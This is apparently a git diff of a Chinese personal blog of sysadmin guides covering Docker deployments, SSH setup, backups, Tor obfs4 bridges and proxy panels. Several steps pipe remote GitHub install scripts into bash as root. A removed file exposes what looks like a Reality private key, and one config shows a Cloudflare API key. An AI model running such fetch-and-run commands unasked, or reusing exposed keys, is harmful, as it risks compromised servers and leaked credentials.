### 恢复直接用 nginx+MySQL 搭建的网站 ### 恢复直接用nginx+MySQL搭建的网站
1. 将原来的文件放入 data 1. 将原来的文件放入data
2. 进入 mysql 容器,导入数据库文件 2. 进入mysql容器,导入数据库文件
3. 在`docker-compose.yml`的环境变量中加入 3. 在`docker-compose.yml`的环境变量中加入
```yaml ```yaml
MYSQL_USER=typecho # 原有 MySQL 用户名 MYSQL_USER=typecho # 原有 MySQL 用户名
MYSQL_PASSWORD=typecho # 原有 MySQL 用户密码 MYSQL_PASSWORD=typecho # 原有 MySQL 用户密码
``` ```
4. 进入 mysql 容器,将数据库赋权给原用户 4. 进入mysql容器,将数据库赋权给原用户
### 排版错误 ### 排版错误

View File

@ -72,7 +72,7 @@ ssh -p 7222 -o StrictHostKeyChecking=no git@127.0.0.1 "SSH_ORIGINAL_COMMAND=\"$S
### 3. 创建`docker-compose.yml` 文件并配置 ### 3. 创建`docker-compose.yml` 文件并配置
> 将下面的 USER_UID=1000 USER_GID=1000 换为得到 uid 和 gid > 将下面的USER_UID=1000 USER_GID=1000 换为得到uid 和 gid
```yaml ```yaml
version: "3" version: "3"
@ -149,4 +149,3 @@ server {
proxy_set_header X-Forwarded-Port $server_port; proxy_set_header X-Forwarded-Port $server_port;
} }
} }
```

View File

@ -8,8 +8,8 @@ tags: ["Docker-compose"]
### 替换说明 ### 替换说明
-`/var/www/siyuan/` 替换为你的实际物理路径。 *`/var/www/siyuan/` 替换为你的实际物理路径。
-`Password` 替换为你的访问密码。 *`Password` 替换为你的访问密码。
```yaml ```yaml
version: "3.9" version: "3.9"
@ -30,10 +30,10 @@ services:
## 反向代理配置 ## 反向代理配置
### Nginx 配置替换说明 ### Nginx配置替换说明
-`your_domain.com` 替换为你自己的域名。 *`your_domain.com` 替换为你自己的域名。
- 将 `path` 替换为你的 SSL 证书的实际路径。 * 将 `path` 替换为你的SSL证书的实际路径。
```nginx ```nginx
upstream siyuan { upstream siyuan {
@ -78,4 +78,3 @@ server {
proxy_set_header Connection 'Upgrade'; # 支持 WebSocket proxy_set_header Connection 'Upgrade'; # 支持 WebSocket
} }
} }
```

View File

@ -2,6 +2,7 @@
title: "密码管理器—Vaultwarden(bitwarden)" title: "密码管理器—Vaultwarden(bitwarden)"
date: 2023-05-18T21:47:00+00:00 date: 2023-05-18T21:47:00+00:00
tags: ["Docker-compose"] tags: ["Docker-compose"]
--- ---
## 1. 安装 Vaultwarden ## 1. 安装 Vaultwarden
@ -9,7 +10,7 @@ tags: ["Docker-compose"]
使用以下 `docker-compose.yml` 文件部署 Vaultwarden 使用以下 `docker-compose.yml` 文件部署 Vaultwarden
```yaml ```yaml
version: "3.8" version: '3.8'
services: services:
bitwarden: bitwarden:
image: vaultwarden/server:latest image: vaultwarden/server:latest
@ -33,10 +34,10 @@ services:
> **需要修改的参数** > **需要修改的参数**
> >
> 1. `ssl_certificate` : SSL 证书路径 > 1. `ssl_certificate` : SSL证书路径
> 2. `ssl_certificate_key` : SSL 证书路径 > 2. `ssl_certificate_key` : SSL证书路径
> 3. `server_name`: 跟你前面配置的 domain 相同,案例中为`b.lsy22.com` > 3. `server_name`: 跟你前面配置的domain相同,案例中为`b.lsy22.com`
> 4. `proxy_pass` : 运行 Vaultwarden 的服务器地址和端口,比如本机为 127.0.0.1:6666 > 4. `proxy_pass` : 运行Vaultwarden的服务器地址和端口比如本机为127.0.0.1:6666
```nginx ```nginx
server { server {

View File

@ -1,25 +1,25 @@
--- ---
title: "网盘直链程序—AList" title: "网盘直链程序—AList"
date: 2023-05-26T20:21:00+00:00 date: 2023-05-26T20:21:00+00:00
tags: ["Docker-compose", "WebDAV"] tags: ["Docker-compose","WebDAV"]
--- ---
## 1. 项目展示 ## 1. 项目展示
- **GitHub 项目地址**[Alist on GitHub](https://github.com/Xhofe/alist) - **GitHub项目地址**[Alist on GitHub](https://github.com/Xhofe/alist)
- **Demo 演示站点**[访问 Demo](https://alist.nn.ci) - **Demo演示站点**[访问Demo](https://alist.nn.ci)
- **Alist 文档地址**[阅读文档](https://alist-doc.nn.ci/en/) - **Alist文档地址**[阅读文档](https://alist-doc.nn.ci/en/)
## 2. 搭建 Docker ## 2. 搭建Docker
- [Docker 官方部署教程](https://docs.docker.com/engine/install/debian/) - [Docker官方部署教程](https://docs.docker.com/engine/install/debian/)
## 3. 搭建 Alist ## 3. 搭建Alist
运行以下 Docker Compose 文件进行 Alist 的安装: 运行以下Docker Compose文件进行Alist的安装
```yaml ```yaml
version: "3.8" version: '3.8'
services: services:
alist: alist:
image: xhofe/alist:latest image: xhofe/alist:latest
@ -31,12 +31,12 @@ services:
- "7777:5244" - "7777:5244"
``` ```
- **查看初始化密码**:运行`docker logs alist`命令,可以查看 Alist 的初始密码。 - **查看初始化密码**:运行`docker logs alist`命令可以查看Alist的初始密码。
- **更改密码建议**:建议更改一个自己能够记住的密码。 - **更改密码建议**:建议更改一个自己能够记住的密码。
## 4. 配置反向代理 ## 4. 配置反向代理
配置 Nginx 反向代理,以便安全访问 Alist 站点: 配置Nginx反向代理以便安全访问Alist站点
```nginx ```nginx
server { server {
@ -72,15 +72,15 @@ server {
## 6. 挂载配置 ## 6. 挂载配置
- **挂载路径**`/` - **挂载路径**`/`
- **根目录路径**`/opt/alist/data/`对应 VPS 上的`/www/wwwroot/alist`目录。 - **根目录路径**`/opt/alist/data/`对应VPS上的`/www/wwwroot/alist`目录。
如果需要进一步的目录细分,可以设置路径为`/opt/alist/data/Userdata/`,在`/www/wwwroot/alist`下创建`Userdata`文件夹,并存放文件。 如果需要进一步的目录细分,可以设置路径为`/opt/alist/data/Userdata/`,在`/www/wwwroot/alist`下创建`Userdata`文件夹,并存放文件。
- **其他网盘添加方式**:请参考[Alist 文档](https://alist-doc.nn.ci/en/) - **其他网盘添加方式**:请参考[Alist文档](https://alist-doc.nn.ci/en/)
## 7. 更新 Alist ## 7. 更新Alist
若需更新 Alist请按以下步骤操作 若需更新Alist请按以下步骤操作
1. **停止容器**:运行`docker stop alist` 1. **停止容器**:运行`docker stop alist`
2. **删除容器**:运行`docker rm -f alist`(此操作不会删除数据) 2. **删除容器**:运行`docker rm -f alist`(此操作不会删除数据)

View File

@ -42,19 +42,20 @@ sh -c "$(wget https://raw.githubusercontent.com/ohmyzsh/ohmyzsh/master/tools/ins
### 主题 ### 主题
- [powerlevel10k](https://github.com/romkatv/powerlevel10k) * [powerlevel10k](https://github.com/romkatv/powerlevel10k)
### 插件 ### 插件
- [zsh-autosuggestions](https://github.com/zsh-users/zsh-autosuggestions): 根据历史记录和完成情况在您输入时建议命令 * [zsh-autosuggestions](https://github.com/zsh-users/zsh-autosuggestions): 根据历史记录和完成情况在您输入时建议命令
- [zsh-syntax-highlighting](https://github.com/zsh-users/zsh-syntax-highlighting): 输入命令时提供语法高亮 * [zsh-syntax-highlighting](https://github.com/zsh-users/zsh-syntax-highlighting): 输入命令时提供语法高亮
#### oh-my-zsh 自带插件 #### oh-my-zsh 自带插件
直接按照上述方法在 `.zshrc` 配置的 `plugins` 中加入即可: 直接按照上述方法在 `.zshrc` 配置的 `plugins` 中加入即可:
- [command-not-found](https://github.com/ohmyzsh/ohmyzsh/tree/master/plugins/command-not-found): 在 `zsh` 找不到命令时提供建议的安装包 * [command-not-found](https://github.com/ohmyzsh/ohmyzsh/tree/master/plugins/command-not-found): 在 `zsh` 找不到命令时提供建议的安装包
- [extract](https://github.com/ohmyzsh/ohmyzsh/tree/master/plugins/extract): 使用 `x` 命令解压任何压缩文件 * [extract](https://github.com/ohmyzsh/ohmyzsh/tree/master/plugins/extract): 使用 `x` 命令解压任何压缩文件
- [pip](https://github.com/ohmyzsh/ohmyzsh/tree/master/plugins/pip): 为 `python` 包管理器 `pip` 提供补全 * [pip](https://github.com/ohmyzsh/ohmyzsh/tree/master/plugins/pip): 为 `python` 包管理器 `pip` 提供补全
- [docker](https://github.com/ohmyzsh/ohmyzsh/tree/master/plugins/docker): 为 `docker` 命令添加自动补全支持 * [docker](https://github.com/ohmyzsh/ohmyzsh/tree/master/plugins/docker): 为 `docker` 命令添加自动补全支持
- [docker-compose](https://github.com/ohmyzsh/ohmyzsh/tree/master/plugins/docker-compose): 为 `docker-compose` 命令添加自动补全支持 * [docker-compose](https://github.com/ohmyzsh/ohmyzsh/tree/master/plugins/docker-compose): 为 `docker-compose` 命令添加自动补全支持

View File

@ -4,86 +4,86 @@ date: 2024-06-30T23:46:05+08:00
tags: [] tags: []
--- ---
## 更改 root 密码 ## 更改root密码
> 将`password`更改为所需的密码 > 将`password`更改为所需的密码
1. 修改密码 1. 修改密码
```bash ```bash
echo root:`password` |sudo chpasswd root echo root:`password` |sudo chpasswd root
``` ```
2. 开启 root 登录 2. 开启root登录
```bash ```bash
sudo sed -i 's/^#\?PermitRootLogin.*/PermitRootLogin yes/g' /etc/ssh/sshd_config; sudo sed -i 's/^#\?PermitRootLogin.*/PermitRootLogin yes/g' /etc/ssh/sshd_config;
``` ```
3. 开启密码登录 3. 开启密码登录
```bash ```bash
sudo sed -i 's/^#\?PasswordAuthentication.*/PasswordAuthentication yes/g' /etc/ssh/sshd_config; sudo sed -i 's/^#\?PasswordAuthentication.*/PasswordAuthentication yes/g' /etc/ssh/sshd_config;
``` ```
4. 重启 ssh 服务 4. 重启ssh服务
```bash ```bash
systemctl restart sshd.service systemctl restart sshd.service
``` ```
## 配置使用密钥登录 ## 配置使用密钥登录
1. 生成密钥和公钥,请执行以下命令: 1. 生成密钥和公钥,请执行以下命令:
```bash ```bash
ssh-keygen -t rsa -b 4096 ssh-keygen -t rsa -b 4096
``` ```
> 连续执行回车即可生成密钥和公钥对。如果需要设置密码,请在密码提示处输入密码。 > 连续执行回车即可生成密钥和公钥对。如果需要设置密码,请在密码提示处输入密码。
2. 安装 ssh 公钥 2. 安装ssh公钥
```bash ```bash
cp "$HOME/.ssh/id_rsa.pub" "$HOME/.ssh/authorized_keys" cp "$HOME/.ssh/id_rsa.pub" "$HOME/.ssh/authorized_keys"
``` ```
3. 设置公钥权限 3. 设置公钥权限
```bash ```bash
chmod 600 "$HOME/.ssh/authorized_keys" chmod 600 "$HOME/.ssh/authorized_keys"
chmod 700 "$HOME/.ssh" chmod 700 "$HOME/.ssh"
``` ```
4. ssh 配置文件 4. ssh配置文件
1. 开启密钥登录 1. 开启密钥登录
```bash ```bash
sudo sed -i 's/^#\?PubkeyAuthentication.*/PubkeyAuthentication yes/g' /etc/ssh/sshd_config sudo sed -i 's/^#\?PubkeyAuthentication.*/PubkeyAuthentication yes/g' /etc/ssh/sshd_config
``` ```
2. 关闭密码登录 2. 关闭密码登录
```bash ```bash
sudo sed -i 's/^#\?PasswordAuthentication.*/PasswordAuthentication no/g' /etc/ssh/sshd_config sudo sed -i 's/^#\?PasswordAuthentication.*/PasswordAuthentication no/g' /etc/ssh/sshd_config
``` ```
5. 重启 sshd 服务 5. 重启sshd服务
```bash ```bash
systemctl restart sshd.service systemctl restart sshd.service
``` ```
## ssh 登录后闲置时间过长而断开连接 ## ssh登录后闲置时间过长而断开连接
```bash ```bash
echo "ServerAliveInterval 60" >> "$HOME/.ssh/config" echo "ServerAliveInterval 60" >> "$HOME/.ssh/config"
``` ```
> ssh 客户端会每隔一段 60s自动与 ssh 服务器通信一次 > ssh客户端会每隔一段60s自动与ssh服务器通信一次
## 存放 ssh 密钥密码 ## 存放ssh密钥密码
### 启动`ssh-agent` ### 启动`ssh-agent`

View File

@ -4,41 +4,41 @@ date: 2024-05-03T20:32:15+08:00
tags: [] tags: []
--- ---
## 安装 bypy ## 安装bypy
### 安装 pip 和虚拟环境 ### 安装 pip 和虚拟环境
1. 安装虚拟环境创建工具: 1. 安装虚拟环境创建工具:
```bash ```bash
sudo apt-get install python3-venv -y sudo apt-get install python3-venv -y
``` ```
2. 创建一个新的虚拟环境: 2. 创建一个新的虚拟环境:
```bash ```bash
python3 -m venv "/var/script/venv" python3 -m venv "/var/script/venv"
``` ```
3. 激活虚拟环境: 3. 激活虚拟环境:
```bash ```bash
source "/var/script/venv/bin/activate" source "/var/script/venv/bin/activate"
``` ```
4. 安装 Python 库 4. 安装 Python 库
1. 安装 bypy 1. 安装 bypy
```bash ```bash
pip install bypy pip install bypy
``` ```
2. 安装 requests 2. 安装 requests
```bash ```bash
pip install requests pip install requests
``` ```
### bypy 设置 ### bypy 设置
@ -52,51 +52,51 @@ tags: []
##### bypy 基本操作 ##### bypy 基本操作
- `bypy info`:查看空间使用信息。 * `bypy info`:查看空间使用信息。
- `bypy list`:查看目录信息。 * `bypy list`:查看目录信息。
- `bypy upload`:上传根目录所有文件。 * `bypy upload`:上传根目录所有文件。
- `bypy downdir`:把云盘上的内容同步到本地。 * `bypy downdir`:把云盘上的内容同步到本地。
- `bypy compare`:比较本地当前目录和云盘根目录。 * `bypy compare`:比较本地当前目录和云盘根目录。
## 安装阿里网盘备份工具 ## 安装阿里网盘备份工具
Github 项目地址:[https://github.com/tickstep/aliyunpan](https://github.com/tickstep/aliyunpan) Github项目地址:[https://github.com/tickstep/aliyunpan](https://github.com/tickstep/aliyunpan)
1. 下载工具包 1. 下载工具包
```bash ```bash
wget -P "/var/script" https://github.com/tickstep/aliyunpan/releases/download/v0.3.2/aliyunpan-v0.3.2-linux-amd64.zip -O "/var/script/aliyunpan.zip" wget -P "/var/script" https://github.com/tickstep/aliyunpan/releases/download/v0.3.2/aliyunpan-v0.3.2-linux-amd64.zip -O "/var/script/aliyunpan.zip"
``` ```
2. 解压工具包 2. 解压工具包
```bash ```bash
unzip "/var/script/aliyunpan.zip" -d "/var/script" unzip "/var/script/aliyunpan.zip" -d "/var/script"
``` ```
3. 删除压缩包 3. 删除压缩包
```bash ```bash
rm "/var/script/aliyunpan.zip" rm "/var/script/aliyunpan.zip"
``` ```
4. 重命名工具包名 4. 重命名工具包名
```bash ```bash
mv "/var/script/$(ls "/var/script" | grep "aliyunpan")" "/var/script/aliyunpan" mv "/var/script/$(ls "/var/script" | grep "aliyunpan")" "/var/script/aliyunpan"
``` ```
5. 登录阿里云盘 5. 登录阿里云盘
```bash ```bash
/var/script/aliyunpan/aliyunpan login /var/script/aliyunpan/aliyunpan login
``` ```
## Shell 备份脚本 ## Shell 备份脚本
> 将`数据路径``网站根目录名称``数据库名称``数据库用户名``数据库密码`改为自己的 > 将`数据路径``网站根目录名称``数据库名称``数据库用户名``数据库密码`改为自己的
### 使用于只用 docker-compose 搭建,只需要备份文件,并上传到网盘 ### 使用于只用docker-compose搭建,只需要备份文件,并上传到网盘
```bash ```bash
#!/bin/bash #!/bin/bash
@ -123,7 +123,7 @@ for item in "$web_path"/*; do
done done
``` ```
### 适用于 mysql+nginx 的网站,需要备份文件和数据库,并上传到网盘 ### 适用于 mysql+nginx的网站,需要备份文件和数据库,并上传到网盘
```bash ```bash
#!/bin/bash #!/bin/bash
@ -189,7 +189,7 @@ for item in "${web_arry[@]}"; do
done done
``` ```
### 适用于 mysql+nginx 的网站,需要备份文件和数据库 ### 适用于 mysql+nginx的网站,需要备份文件和数据库
```bash ```bash
#!/bin/bash #!/bin/bash

View File

@ -4,7 +4,7 @@ date: 2024-07-02T17:19:38+08:00
tags: [] tags: []
--- ---
> **系统自带内核高于 4.9 则默认已包含 BBR** > **系统自带内核高于4.9 则默认已包含 BBR**
### 1. 检查内核版本 ### 1. 检查内核版本
@ -14,9 +14,9 @@ uname -r
> 内核版本高于 4.9 就行。 > 内核版本高于 4.9 就行。
### 2. 开启 BBR ### 2. 开启BBR
通过向 `/etc/sysctl.conf`文件添加配置来启用 BBR 通过向 `/etc/sysctl.conf`文件添加配置来启用BBR
```bash ```bash
echo "net.core.default_qdisc=fq" | sudo tee -a /etc/sysctl.conf echo "net.core.default_qdisc=fq" | sudo tee -a /etc/sysctl.conf
@ -31,13 +31,13 @@ su root -c "sudo sysctl -p"
### 4. 生效检测 ### 4. 生效检测
**执行下面命令,如果结果中带有****[bbr](https://www.moeelf.com/tag/bbr "View all posts in bbr")** **,则证明你的内核已开启****[bbr](https://www.moeelf.com/tag/bbr "View all posts in bbr")** **。** **执行下面命令,如果结果中带有****[bbr](https://www.moeelf.com/tag/bbr "View all posts in bbr")** **,则证明你的内核已开启****[bbr](https://www.moeelf.com/tag/bbr "View all posts in bbr")** **。**
```bash ```bash
sysctl net.ipv4.tcp_available_congestion_control sysctl net.ipv4.tcp_available_congestion_control
``` ```
**注:也可以执行下面命令,如果结果中有****[bbr](https://www.moeelf.com/tag/bbr "View all posts in bbr")** **,也可以证明你的内核已开启****[bbr](https://www.moeelf.com/tag/bbr "View all posts in bbr")** **。** **注:也可以执行下面命令,如果结果中有****[bbr](https://www.moeelf.com/tag/bbr "View all posts in bbr")** **,也可以证明你的内核已开启****[bbr](https://www.moeelf.com/tag/bbr "View all posts in bbr")** **。**
```bash ```bash
lsmod | grep bbr lsmod | grep bbr

View File

@ -1,33 +0,0 @@
---
title: "3x-ui配置"
date: 2025-04-19T10:48:48+08:00
tags: []
---
3x-ui[https://github.com/MHSanaei/3x-ui](https://github.com/MHSanaei/3x-ui)
安全:`Reality`
Dest (Target)
```txt
apple.com:443
```
SNI
```txt
apple.com
```
公钥
```txt
jCK3ORKMwzmJsig7gMWOTGlaF2wvuVAcEr7jbB1bnwU
```
私钥
```txt
oN60djdg_ZRUiChp0Rj-emZ3VhM_x8rL93H4rhdq1Wc
```

View File

@ -6,19 +6,19 @@ tags: ["x-ui"]
## 一、部署安装 ## 一、部署安装
GitHub 项目地址:[https://github.com/FranzKafkaYu/x-ui](https://github.com/FranzKafkaYu/x-ui) GitHub项目地址[https://github.com/FranzKafkaYu/x-ui](https://github.com/FranzKafkaYu/x-ui)
1. 复制粘贴以下代码,并运行: 1. 复制粘贴以下代码,并运行:
```bash ```bash
bash <(curl -Ls https://raw.githubusercontent.com/FranzKafkaYu/x-ui/master/install.sh) bash <(curl -Ls https://raw.githubusercontent.com/FranzKafkaYu/x-ui/master/install.sh)
``` ```
注意:在 IPv6 Only VPS 例如Euserv、Hax请先安装 warp否则无法访问 Github API 而报错。 注意在IPv6 Only的VPS中例如Euserv、Hax请先安装warp否则无法访问Github API而报错。
2. 设置用户名密码、面板访问端口。 2. 设置用户名密码、面板访问端口。
待出现 X-ui 的菜单时,就已经成功一半了! 待出现X-ui的菜单时就已经成功一半了
## 二、配置 ## 二、配置
@ -31,7 +31,7 @@ GitHub 项目地址:[https://github.com/FranzKafkaYu/x-ui](https://github.com/
- 端口:`443` - 端口:`443`
- reality`开启` - reality`开启`
- 添加用户:+ - 添加用户:+
- flow 选择 xtls-rprx-vision - flow选择xtls-rprx-vision
- 其他默认 - 其他默认
## 三、使用 ## 三、使用

View File

@ -12,7 +12,7 @@ yum install tor -y
## 2. 安装 obfs4 ## 2. 安装 obfs4
### 通过 python 进行编译安装 ### 通过python进行编译安装
#### 安装所需依赖软件模块 #### 安装所需依赖软件模块
@ -26,21 +26,21 @@ yum install make automake gcc python-pip python-devel libyaml-devel
pip install obfsproxy pip install obfsproxy
``` ```
### 通过 go 进行编译安装 ### 通过go进行编译安装
#### 下载 go obfs4 项目 #### 下载go的obfs4项目
```bash ```bash
git clone http://www.github.com/Yawning/obfs4 git clone http://www.github.com/Yawning/obfs4
``` ```
#### 进入 obfs4 目录进行编译 #### 进入obfs4目录进行编译
```bash ```bash
go build -o obfs4proxy/obfs4proxy ./obfs4proxy go build -o obfs4proxy/obfs4proxy ./obfs4proxy
``` ```
#### 复制 bofs4proxy 到系统工作目录下 #### 复制bofs4proxy到系统工作目录下
```bash ```bash
cp ./obfs4proxy/obfs4proxy /usr/bin/obfs4proxy cp ./obfs4proxy/obfs4proxy /usr/bin/obfs4proxy
@ -67,13 +67,13 @@ ExtORPort auto
PublishServerDescriptor 0 PublishServerDescriptor 0
``` ```
### 重启 tor 服务 ### 重启tor服务
```bash ```bash
systemctl restart tor systemctl restart tor
``` ```
### 查看 tor 服务状态 ### 查看tor服务状态
```bash ```bash
systemctl status tor systemctl status tor
@ -128,7 +128,7 @@ iatmode=0
vim /etc/firewalld/zones/public.xml vim /etc/firewalld/zones/public.xml
``` ```
内容如下(本例 ORPort 端口 => 6666, obfs4 端口 => 46396) 内容如下(本例ORPort端口 => 6666, obfs4端口 => 46396)
```xml ```xml
<port protocol="tcp" port="ORPort端口"/> <port protocol="tcp" port="ORPort端口"/>
@ -143,4 +143,4 @@ vim /etc/firewalld/zones/public.xml
firewall-cmd --complete-reload firewall-cmd --complete-reload
``` ```
[Tor 浏览器下载地址](https://www.torproject.org/download/) [Tor浏览器下载地址](https://www.torproject.org/download/)

View File

@ -0,0 +1,11 @@
---
title: "dns 解锁"
date: 2025-01-18 14:19:00Z
tags: []
---
## 1. 安装dnsmasq
```bash
yum install dnsmasq -y
```

View File

@ -4,7 +4,7 @@ date: 2023-04-06T19:23:00Z
tags: ["v2board"] tags: ["v2board"]
--- ---
确保 v2board 版本在 1.2.5 及以上 确保v2board版本在1.2.5及以上
## 一、安装与更新 ## 一、安装与更新
@ -14,7 +14,7 @@ bash <(curl -Ls https://raw.githubusercontent.com/XrayR-project/XrayR-release/ma
## 二、域名配置 ## 二、域名配置
将域名托管到 cloudflared 将域名托管到cloudflared
## 三、同步时间(重要) ## 三、同步时间(重要)
@ -53,19 +53,20 @@ ntpdate time.nist.gov
- 节点名称:随便填写 - 节点名称:随便填写
- 权限组:随便填写 - 权限组:随便填写
- 节点地址:填 cf ip 或者伪装的域名 - 节点地址填cf的ip或者伪装的域名
- TLS伪装的域名 - TLS伪装的域名
- 端口443 - 端口443
- 传输协议:选择 websocket - 传输协议选择websocket
### 配置协议 ### 配置协议
```json ```json
{ {
"path": "/随便", "path": "/随便",
"headers": { "headers":
"Host": "伪装的域名" {
} "Host": "伪装的域名"
}
} }
``` ```
@ -91,12 +92,13 @@ ConnectionConfig:
DownlinkOnly: 4 # Time limit when the connection is closed after the uplink is closed, Second DownlinkOnly: 4 # Time limit when the connection is closed after the uplink is closed, Second
BufferSize: 64 # The internal cache size of each connection, kB BufferSize: 64 # The internal cache size of each connection, kB
Nodes: Nodes:
- PanelType: "NewV2board" ## 对接的面板类型: SSpanel, V2board, NewV2board, PMpanel, Proxypanel, V2RaySocks -
PanelType: "NewV2board" ## 对接的面板类型: SSpanel, V2board, NewV2board, PMpanel, Proxypanel, V2RaySocks
ApiConfig: ApiConfig:
ApiHost: "https://****.com" ## 面板域名地址,或自定义个专用后端对接不提供访问的域名 ApiHost: "https://****.com" ## 面板域名地址,或自定义个专用后端对接不提供访问的域名
ApiKey: "*****" ## 面板设置的通讯密钥 ApiKey: "*****" ## 面板设置的通讯密钥
NodeID: 1 ## 前端节点id NodeID: 1 ## 前端节点id
NodeType: V2ray ## 对接的节点类型:可选V2ray, Shadowsocks, Trojan NodeType: V2ray ## 对接的节点类型:可选V2ray, Shadowsocks, Trojan
Timeout: 30 # Timeout for the api request Timeout: 30 # Timeout for the api request
EnableVless: false # Enable Vless for V2ray Type EnableVless: false # Enable Vless for V2ray Type
EnableXTLS: false # Enable XTLS for V2ray and Trojan EnableXTLS: false # Enable XTLS for V2ray and Trojan
@ -111,8 +113,8 @@ CertConfig:
Provider: cloudflare # DNS cert provider, Get the full support list here: https://go-acme.github.io/lego/dns/ Provider: cloudflare # DNS cert provider, Get the full support list here: https://go-acme.github.io/lego/dns/
Email: test@me.com Email: test@me.com
DNSEnv: # DNS ENV option used by DNS provider DNSEnv: # DNS ENV option used by DNS provider
CLOUDFLARE_EMAIL: test@me.com ##CF登录邮箱 CLOUDFLARE_EMAIL: test@me.com ##CF登录邮箱
CLOUDFLARE_API_KEY: 57b4d8ec82ec3e ##CF全局api CLOUDFLARE_API_KEY: 57b4d8ec82ec3e ##CF全局api
``` ```
## 六、启动 XrayR ## 六、启动 XrayR

View File

@ -4,7 +4,7 @@ date: 2021-07-31T01:17:00+08:00
tags: ["v2board"] tags: ["v2board"]
--- ---
确保 v2board 版本在 1.2.5 及以上 确保v2board版本在1.2.5及以上
## 一、安装与更新 ## 一、安装与更新
@ -49,9 +49,9 @@ ntpdate time.nist.gov
- 节点名称:随便填写 - 节点名称:随便填写
- 权限组:随便填写 - 权限组:随便填写
- 节点地址:填 v2borad 的域名或 ip - 节点地址填v2borad的域名或ip
- TLS v2borad 的域名或不填 - TLS填v2borad的域名或不填
- 传输协议:选择 websocket - 传输协议选择websocket
### 配置协议 ### 配置协议

View File

@ -10,38 +10,36 @@ tags: ["v2board"]
## 二、配置 AWS CloudFront ## 二、配置 AWS CloudFront
1. 创建 aws 账号 1. 创建aws账号
2. 在 aws 后台直接搜-`CloudFront`-创建分配 2. 在aws后台直接搜-`CloudFront`-创建分配
3. 创建分配配置: 3. 创建分配配置:
- 源域cloudflared 托管的域名 - 源域cloudflared托管的域名
- 协议:仅 HTTPS - 协议:仅 HTTPS
- 最低源 SSL 协议TLSv1.1 - 最低源 SSL 协议TLSv1.1
- 自动压缩对象:否 - 自动压缩对象:否
- 缓存键和源请求Legacy cache settings - 缓存键和源请求Legacy cache settings
- Web Application Firewall (WAF)Do not enable security protections - Web Application Firewall (WAF)Do not enable security protections
- 其他设置默认 - 其他设置默认
## 三、添加节点 ## 三、添加节点
1. 复制一份创造成功的节点 1. 复制一份创造成功的节点
2. 修改复制节点: 2. 修改复制节点:
- 后台 > 节点管理 > 添加节点
- 节点名称:随便填写
- 权限组:随便填写
- 节点地址CloudFront分配的域名
- TLS关闭
- 端口80
- 父节点:选择创造好的节点
- 传输协议选择websocket
- 配置协议:
- 后台 > 节点管理 > 添加节点 ```json
{
- 节点名称:随便填写 "path": "/随便",
- 权限组:随便填写 "headers": {
- 节点地址CloudFront 分配的域名 "Host": "CloudFront分配的域名"
- TLS关闭 }
- 端口80 }
- 父节点:选择创造好的节点 ```
- 传输协议:选择 websocket
- 配置协议:
```json
{
"path": "/随便",
"headers": {
"Host": "CloudFront分配的域名"
}
}
```

View File

@ -10,9 +10,9 @@ GitHub 项目地址:[https://github.com/FranzKafkaYu/x-ui][1]
1. 复制粘贴以下代码,并运行: 1. 复制粘贴以下代码,并运行:
```bash ```bash
bash <(curl -Ls https://raw.githubusercontent.com/FranzKafkaYu/x-ui/master/install.sh) bash <(curl -Ls https://raw.githubusercontent.com/FranzKafkaYu/x-ui/master/install.sh)
``` ```
注意:在 IPv6 Only 的 VPS 中例如Euserv、Hax请先安装 warp否则无法访问 Github API 而报错。 注意:在 IPv6 Only 的 VPS 中例如Euserv、Hax请先安装 warp否则无法访问 Github API 而报错。

View File

@ -4,12 +4,12 @@ date: 2021-07-31T00:03:00+08:00
tags: ["v2ray"] tags: ["v2ray"]
--- ---
## 一、v2ray 官方安装 ## 一、v2ray官方安装
```bash ```bash
bash <(curl -s -L https://git.io/v2ray.sh) bash <(curl -s -L https://git.io/v2ray.sh)
``` ```
## 二、v2ray-agent 安装 ## 二、v2ray-agent安装
v2ray-agent 八合一脚本:[https://github.com/mack-a/v2ray-agent](https://github.com/mack-a/v2ray-agent) v2ray-agent 八合一脚本:[https://github.com/mack-a/v2ray-agent](https://github.com/mack-a/v2ray-agent)

View File

@ -4,7 +4,8 @@ date: 2021-08-09T00:07:00+08:00
tags: [] tags: []
--- ---
## 1.同步时间 1.同步时间
------
CentOS 7 CentOS 7
@ -25,7 +26,8 @@ Debian 9 / Ubuntu 16
ln -s /usr/share/zoneinfo/Asia/Shanghai /etc/localtime ln -s /usr/share/zoneinfo/Asia/Shanghai /etc/localtime
ntpdate time.nist.gov ntpdate time.nist.gov
## 2.一键安装 2.一键安装
------
mkdir /home/mtproxy && cd /home/mtproxy mkdir /home/mtproxy && cd /home/mtproxy
curl -s -o mtproxy.sh https://raw.githubusercontent.com/ellermister/mtproxy/master/mtproxy.sh && chmod +x mtproxy.sh && bash mtproxy.sh curl -s -o mtproxy.sh https://raw.githubusercontent.com/ellermister/mtproxy/master/mtproxy.sh && chmod +x mtproxy.sh && bash mtproxy.sh

View File

@ -6,44 +6,39 @@ tags: []
三件套包含: 三件套包含:
- Google 服务框架 - Google服务框架
- Google Play Service - Google Play Service
- Google Play Store - Google Play Store
## Google 服务框架 ## Google服务框架
下载地址: 下载地址:`https://www.apkmirror.com/apk/google-inc/google-services-framework/`
[https://www.apkmirror.com/apk/google-inc/google-services-framework/](https://www.apkmirror.com/apk/google-inc/google-services-framework/)
首先点击上边的网站,到 Google 服务框架程序的发布地址,然后找到和自己手机的安卓版本相匹配的版本。 首先点击上边的网站到Google服务框架程序的发布地址然后找到和自己手机的安卓版本相匹配的版本。
选择 noDPI 的版本 选择noDPI的版本
关于 ARM 版本: 关于ARM版本
**一般近两年发布的手机ARM 版本都是 ARMv8。如果是老手机可以先搜一下自己的 ARM 版本。 **一般近两年发布的手机ARM版本都是ARMv8。如果是老手机可以先搜一下自己的ARM版本。
也可以直接下载 universal 版本,也就是兼容 v8 v7 的版本。** 也可以直接下载universal版本也就是兼容v8和v7的版本。**
## Google Play Service ## Google Play Service
下载地址: 下载地址:`https://www.apkmirror.com/apk/google-inc/google-play-services/`
[https://www.apkmirror.com/apk/google-inc/google-play-services/](https://www.apkmirror.com/apk/google-inc/google-play-services/) 首先点击上边的网站到Google Play Service的发布地址然后找到和自己手机的安卓版本相匹配的版本。
那么就选择noDPI的版本
首先点击上边的网站,到 Google Play Service 的发布地址,然后找到和自己手机的安卓版本相匹配的版本。 关于ARM版本
那么就选择 noDPI 的版本 **一般近两年发布的手机ARM版本都是ARMv8。如果是老手机可以先搜一下自己的ARM版本。
也可以直接下载universal版本也就是兼容v8和v7的版本。**
关于 ARM 版本:
**一般近两年发布的手机ARM 版本都是 ARMv8。如果是老手机可以先搜一下自己的 ARM 版本。
也可以直接下载 universal 版本,也就是兼容 v8 和 v7 的版本。**
